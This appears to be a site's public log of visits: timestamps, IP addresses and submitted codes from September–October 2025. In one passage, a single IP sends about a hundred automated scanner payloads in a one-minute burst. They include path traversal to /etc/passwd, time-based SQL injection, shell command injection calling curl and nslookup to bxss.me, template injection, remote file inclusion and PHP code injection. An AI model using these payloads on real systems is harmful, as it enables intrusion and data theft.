| S/N |
Date Time |
IP |
code |
| 693776 | 2025-09-08 10:17:19 |
42.79.176.158 | 1805372947 |
| 693777 | 2025-09-08 10:18:06 |
61.230.145.119 | -888062818 |
| 693780 | 2025-09-08 10:28:31 |
203.71.67.28 | -649923987 |
| 693781 | 2025-09-08 10:29:10 |
42.79.174.186 | 247674264 |
| 693783 | 2025-09-08 10:35:40 |
223.137.86.225 | -763460681 |
| 693785 | 2025-09-08 10:38:30 |
223.137.86.225 | -1858129515 |
| 693791 | 2025-09-08 11:41:35 |
114.136.11.72 | |
| 693819 | 2025-09-08 14:58:53 |
42.70.159.180 | -606526560 |
| 693827 | 2025-09-08 16:31:36 |
61.228.205.105 | 568471077 |
| 693837 | 2025-09-08 18:04:56 |
1.163.199.67 | 2002305754 |
| 693867 | 2025-09-08 22:59:33 |
27.52.130.185 | -638784417 |
| 693888 | 2025-09-09 02:15:57 |
111.71.1.51 | 1023225262 |
| 693931 | 2025-09-09 10:14:56 |
223.200.123.63 | 1975879944 |
| 693956 | 2025-09-09 13:08:50 |
49.159.180.81 | 836353364 |
| 693985 | 2025-09-09 15:45:54 |
1.171.185.162 | 1820614836 |
| 694000 | 2025-09-09 21:07:37 |
111.71.114.241 | |
| 694004 | 2025-09-09 21:28:56 |
42.79.151.120 | 125455392 |
| 694009 | 2025-09-09 21:31:54 |
42.73.243.223 | 1222754916 |
| 694023 | 2025-09-10 03:52:51 |
116.59.124.91 | -1303663269 |
| 694063 | 2025-09-10 09:57:55 |
101.10.166.195 | -1629779944 |
| 694188 | 2025-09-11 17:17:10 |
114.32.41.216 | |
| 694196 | 2025-09-11 17:19:32 |
59.102.179.175 | |
| 694204 | 2025-09-11 17:20:58 |
223.143.194.36 | -703538730 |
| 694216 | 2025-09-11 21:22:30 |
1.169.13.176 | -1038314339 |
| 694294 | 2025-09-12 10:20:16 |
59.102.179.175 | |
| 694338 | 2025-09-12 18:33:01 |
36.227.90.145 | -1688754591 |
| 694358 | 2025-09-12 22:49:27 |
42.79.146.251 | -761025826 |
| 694403 | 2025-09-13 09:54:30 |
114.137.0.68 | 1547019864 |
| 694640 | 2025-09-15 17:05:38 |
220.128.243.12 | -894703917 |
| 694746 | 2025-09-16 10:43:48 |
42.70.244.133 | |
| 694926 | 2025-09-18 05:09:43 |
39.9.229.190 | -666785260 |
| 695059 | 2025-09-19 13:54:12 |
111.71.104.145 | -1401623539 |
| 695095 | 2025-09-19 20:58:29 |
42.79.182.93 | -1432699084 |
| 695212 | 2025-09-21 17:57:05 |
42.79.144.18 | -1833193860 |
| 695285 | 2025-09-22 13:54:47 |
111.80.139.16 | -1743193572 |
| 695512 | 2025-09-24 17:01:20 |
122.116.191.80 | 108720159 |
| 695552 | 2025-09-24 23:27:10 |
111.240.19.103 | 958470949 |
| 695911 | 2025-09-25 12:04:16 |
89.117.2.50 | 1971822958 |
| 695941 | 2025-09-25 12:09:03 |
89.117.2.50 | ZgZpkP1o |
| 695942 | 2025-09-25 12:09:04 |
89.117.2.50 | 6DKMicWS: 1eEZEj6x |
| 695943 | 2025-09-25 12:09:05 |
89.117.2.50 | response.write(9177999*9215548) |
| 695944 | 2025-09-25 12:09:06 |
89.117.2.50 | '+response.write(9177999*9215548)+' |
| 695945 | 2025-09-25 12:09:08 |
89.117.2.50 | +response.write(9177999*9215548)+ |
| 695946 | 2025-09-25 12:09:11 |
89.117.2.50 | ${10000334+9999497} |
| 695947 | 2025-09-25 12:09:13 |
89.117.2.50 | |
| 695948 | 2025-09-25 12:09:14 |
89.117.2.50 | ../../../../../../../../../../../../../../etc/passwd |
| 695949 | 2025-09-25 12:09:15 |
89.117.2.50 | Array |
| 695950 | 2025-09-25 12:09:16 |
89.117.2.50 | ../../../../../../../../../../../../../../windows/win.ini |
| 695951 | 2025-09-25 12:09:17 |
89.117.2.50 | 1971822958&n936257=v909395 |
| 695952 | 2025-09-25 12:09:17 |
89.117.2.50 | file:///etc/passwd |
| 695953 | 2025-09-25 12:09:19 |
89.117.2.50 | ../1971822958 |
| 695954 | 2025-09-25 12:09:22 |
89.117.2.50 | redirtest.acx |
| 695955 | 2025-09-25 12:09:23 |
89.117.2.50 | ) |
| 695956 | 2025-09-25 12:09:25 |
89.117.2.50 | !(()&&!|*|*| |
| 695957 | 2025-09-25 12:09:26 |
89.117.2.50 | ^(#$!@#$)(()))****** |
| 695958 | 2025-09-25 12:09:30 |
89.117.2.50 | '.gethostbyname(lc('hitjd'.'cwabevhr674b5.bxss.me.')).'A'.chr(67).chr(he |
| 695959 | 2025-09-25 12:09:31 |
89.117.2.50 | .gethostbyname(lc(hitxk.epldltei737f3.bxss.me.)).A.chr(67).chr(hex(58)).chr(99).chr(68).chr(104).chr |
| 695960 | 2025-09-25 12:09:32 |
89.117.2.50 | gethostbyname(lc('hitfe'.'ftkmxamw923d8.bxss.me.')).'A'.chr(67).chr(hex(' |
| 695961 | 2025-09-25 12:09:35 |
89.117.2.50 | http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg |
| 695962 | 2025-09-25 12:09:37 |
89.117.2.50 | 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg |
| 695963 | 2025-09-25 12:09:38 |
89.117.2.50 | /etc/shells |
| 695964 | 2025-09-25 12:09:40 |
89.117.2.50 | ../../../../../../../../../../../../../../etc/shells |
| 695965 | 2025-09-25 12:09:41 |
89.117.2.50 | ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) |
| 695966 | 2025-09-25 12:09:42 |
89.117.2.50 | c:/windows/win.ini |
| 695967 | 2025-09-25 12:09:43 |
89.117.2.50 | bxss.me |
| 695968 | 2025-09-25 12:09:44 |
89.117.2.50 | 1971822958AcQPWgFh |
| 695969 | 2025-09-25 12:09:45 |
89.117.2.50 | +A.concat(70-3).concat(22*4).concat(116).concat(75).concat(97).concat(81)+(requiresocketSocket.getho |
| 695970 | 2025-09-25 12:09:46 |
89.117.2.50 | Http://bxss.me/t/fit.txt |
| 695971 | 2025-09-25 12:09:47 |
89.117.2.50 | '+'A'.concat(70-3).concat(22*4).concat(108).concat(84).concat(105).concat(85)+(require |
| 695972 | 2025-09-25 12:09:48 |
89.117.2.50 | recommend.php |
| 695973 | 2025-09-25 12:09:49 |
89.117.2.50 | http://bxss.me/t/fit.txt?.jpg |
| 695975 | 2025-09-25 12:09:50 |
89.117.2.50 | -1 OR 5*5=25 -- |
| 695974 | 2025-09-25 12:09:50 |
89.117.2.50 | 'A'.concat(70-3).concat(22*4).concat(104).concat(76).concat(122).concat(87)+(require'soc |
| 695976 | 2025-09-25 12:09:52 |
89.117.2.50 | -1 OR 5*5=25 |
| 695977 | 2025-09-25 12:09:54 |
89.117.2.50 | HttP://bxss.me/t/xss.html?%00 |
| 695978 | 2025-09-25 12:09:55 |
89.117.2.50 | recommend.php/. |
| 695979 | 2025-09-25 12:09:55 |
89.117.2.50 | -1' OR 5*5=25 -- |
| 695980 | 2025-09-25 12:09:57 |
89.117.2.50 | bxss.me/t/xss.html?%00 |
| 695981 | 2025-09-25 12:09:58 |
89.117.2.50 | http://bxss.me/t/rfi.php?%00 |
| 695982 | 2025-09-25 12:09:59 |
89.117.2.50 | xfs.bxss.me |
| 695983 | 2025-09-25 12:10:00 |
89.117.2.50 | bxss.me/t/rfi.php?%00 |
| 695984 | 2025-09-25 12:10:01 |
89.117.2.50 | echo jnkcuv$()\ elkwwk\nz^xyu||a #' &echo jnkcuv$()\ elkwwk\nz^xyu||a #| &echo j |
| 695985 | 2025-09-25 12:10:02 |
89.117.2.50 | -1' OR 5*5=25 or '27vWwoI9'=' |
| 695986 | 2025-09-25 12:10:03 |
89.117.2.50 | &echo edwsfv$()\ kegilc\nz^xyu||a #' &echo edwsfv$()\ kegilc\nz^xyu||a #| &echo |
| 695987 | 2025-09-25 12:10:04 |
89.117.2.50 | 1971822958&echo dclnoi$()\ hfrfte\nz^xyu||a #' &echo dclnoi$()\ hfrfte\nz^xyu||a |
| 695988 | 2025-09-25 12:10:05 |
89.117.2.50 | -1 OR 5*5=25 or r6UEiLRQ= |
| 695989 | 2025-09-25 12:10:06 |
89.117.2.50 | |echo hlbyzb$()\ zqheds\nz^xyu||a #' |echo hlbyzb$()\ zqheds\nz^xyu||a #| |echo |
| 695990 | 2025-09-25 12:10:07 |
89.117.2.50 | 1971822958*if(now()=sysdate(),sleep(15),0) |
| 695991 | 2025-09-25 12:10:08 |
89.117.2.50 | ' |
| 695992 | 2025-09-25 12:10:09 |
89.117.2.50 | 1971822958|echo nyomhg$()\ yeqshh\nz^xyu||a #' |echo nyomhg$()\ yeqshh\nz^xyu||a |
| 695993 | 2025-09-25 12:10:10 |
89.117.2.50 | 19718229580'XOR(1971822958*if(now()=sysdate(),sleep(15),0))XOR'Z |
| 695994 | 2025-09-25 12:10:11 |
89.117.2.50 | expr 9000685611 - 988400 |
| 695995 | 2025-09-25 12:10:12 |
89.117.2.50 | 19718229580XOR(1971822958*if(now()=sysdate(),sleep(15),0))XORZ |
| 695996 | 2025-09-25 12:10:13 |
89.117.2.50 | (nslookup -q=cname hitwwdsjtctykd402c.bxss.me||curl hitwwdsjtctykd402c.bxss.me)) |
| 695997 | 2025-09-25 12:10:14 |
89.117.2.50 | $(nslookup -q=cname hitekneenuswo9632d.bxss.me||curl hitekneenuswo9632d.bxss.me) |
| 695998 | 2025-09-25 12:10:15 |
89.117.2.50 | (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'+(select(0)from( |
| 695999 | 2025-09-25 12:10:16 |
89.117.2.50 | &nslookup -q=cname hiteywtffbvel95caf.bxss.me&'\`0&nslookup -q=cname hiteywtffbvel95caf.bxss |
| 696000 | 2025-09-25 12:10:18 |
89.117.2.50 | 1971822958-1; waitfor delay '0:0:15' -- |
| 696001 | 2025-09-25 12:10:19 |
89.117.2.50 | &(nslookup -q=cname hitmmofneuqpl853e6.bxss.me||curl hitmmofneuqpl853e6.bxss.me)&'\`0&(nsloo |
| 696002 | 2025-09-25 12:10:20 |
89.117.2.50 | |(nslookup -q=cname hitnhvmrizkqg6c7b5.bxss.me||curl hitnhvmrizkqg6c7b5.bxss.me) |
| 696003 | 2025-09-25 12:10:22 |
89.117.2.50 | `(nslookup -q=cname hitzfrtotnuww54ab6.bxss.me||curl hitzfrtotnuww54ab6.bxss.me)` |
| 696004 | 2025-09-25 12:10:23 |
89.117.2.50 | 1971822958-1); waitfor delay '0:0:15' -- |
| 696005 | 2025-09-25 12:10:23 |
89.117.2.50 | ;(nslookup -q=cname hitcsyyzqqgqida696.bxss.me||curl hitcsyyzqqgqida696.bxss.me)|(nslookup -q=cname |
| 696006 | 2025-09-25 12:10:25 |
89.117.2.50 | |(nslookup${IFS}-q${IFS}cname${IFS}hitkqpygescuz6bcfe.bxss.me||curl${IFS}hitkqpygescuz6bcfe.bxss.me) |
| 696007 | 2025-09-25 12:10:26 |
89.117.2.50 | '() |
| 696008 | 2025-09-25 12:10:27 |
89.117.2.50 | &(nslookup${IFS}-q${IFS}cname${IFS}hithpysimqtkrc56f6.bxss.me||curl${IFS}hithpysimqtkrc56f6.bxss.me) |
| 696009 | 2025-09-25 12:10:27 |
89.117.2.50 | 1971822958'&&sleep(27*1000)*xjzznl&&' |
| 696010 | 2025-09-25 12:10:28 |
89.117.2.50 | 1971822958-1 waitfor delay '0:0:15' -- |
| 696011 | 2025-09-25 12:10:29 |
89.117.2.50 | 1971822958&&sleep(27*1000)*coeqkv&& |
| 696012 | 2025-09-25 12:10:30 |
89.117.2.50 | 1971822958'()&%Rpjx(9073) |
| 696013 | 2025-09-25 12:10:31 |
89.117.2.50 | 1971822958'||sleep(27*1000)*zjybpj||' |
| 696014 | 2025-09-25 12:10:32 |
89.117.2.50 | {{_self.env.registerUndefinedFilterCallback(system)}}{{_self.env.getFilter(curl hitiyucdqobfcd3c10.b |
| 696015 | 2025-09-25 12:10:33 |
89.117.2.50 | 1971822958hpC9LubK'; waitfor delay '0:0:15' -- |
| 696016 | 2025-09-25 12:10:34 |
89.117.2.50 | 1971822958||sleep(27*1000)*ucypcz|| |
| 696017 | 2025-09-25 12:10:34 |
89.117.2.50 | '()&%Rpjx(9125) |
| 696019 | 2025-09-25 12:10:36 |
89.117.2.50 | 19718229589162827 |
| 696018 | 2025-09-25 12:10:36 |
89.117.2.50 | ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); |
| 696020 | 2025-09-25 12:10:37 |
89.117.2.50 | 1971822958-1 OR 677=(SELECT 677 FROM PG_SLEEP(15))-- |
| 696021 | 2025-09-25 12:10:38 |
89.117.2.50 | ';print(md5(31337));$a=' |
| 696022 | 2025-09-25 12:10:39 |
89.117.2.50 | ;print(md5(31337));$a= |
| 696023 | 2025-09-25 12:10:41 |
89.117.2.50 | ${@print(md5(31337))} |
| 696024 | 2025-09-25 12:10:41 |
89.117.2.50 | 1971822958-1) OR 451=(SELECT 451 FROM PG_SLEEP(15))-- |
| 696025 | 2025-09-25 12:10:43 |
89.117.2.50 | ${@print(md5(31337))}\ |
| 696026 | 2025-09-25 12:10:44 |
89.117.2.50 | 1971822958-1)) OR 329=(SELECT 329 FROM PG_SLEEP(15))-- |
| 696027 | 2025-09-25 12:10:44 |
89.117.2.50 | '.print(md5(31337)).' |
| 696028 | 2025-09-25 12:10:46 |
89.117.2.50 | '{${print(md5(31337))}}' |
| 696029 | 2025-09-25 12:10:47 |
89.117.2.50 | 1971822958wPr6OnDz' OR 425=(SELECT 425 FROM PG_SLEEP(15))-- |
| 696030 | 2025-09-25 12:10:48 |
89.117.2.50 | print(md5(31337));// |
| 696031 | 2025-09-25 12:10:49 |
89.117.2.50 | {php}print(md5(31337));{/php} |
| 696032 | 2025-09-25 12:10:50 |
89.117.2.50 | [php]print(md5(31337));[/php] |
| 696033 | 2025-09-25 12:10:51 |
89.117.2.50 | 1971822958qCz3Wru2') OR 733=(SELECT 733 FROM PG_SLEEP(15))-- |
| 696034 | 2025-09-25 12:10:53 |
89.117.2.50 | 1971822958rQtN7MId')) OR 467=(SELECT 467 FROM PG_SLEEP(15))-- |
| 696035 | 2025-09-25 12:10:54 |
89.117.2.50 | 1971822958*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) |
| 696036 | 2025-09-25 12:10:56 |
89.117.2.50 | 1971822958'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' |
| 696037 | 2025-09-25 12:10:58 |
89.117.2.50 | (select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual) |
| 696038 | 2025-09-25 12:11:00 |
89.117.2.50 | 1971822958' |
| 696039 | 2025-09-25 12:11:01 |
89.117.2.50 | @@eEmvD |
| 696040 | 2025-09-25 12:11:03 |
89.117.2.50 | (select 198766*667891) |
| 696041 | 2025-09-25 12:11:04 |
89.117.2.50 | (select 198766*667891 from DUAL) |
| 696307 | 2025-09-25 19:28:33 |
219.70.155.129 | |
| 696332 | 2025-09-26 08:51:43 |
111.80.111.36 | 2094132358 |
| 696388 | 2025-09-27 07:27:56 |
42.79.170.33 | 48725654 |
| 698556 | 2025-10-30 06:04:14 |
1.171.156.23 | 1058461034 |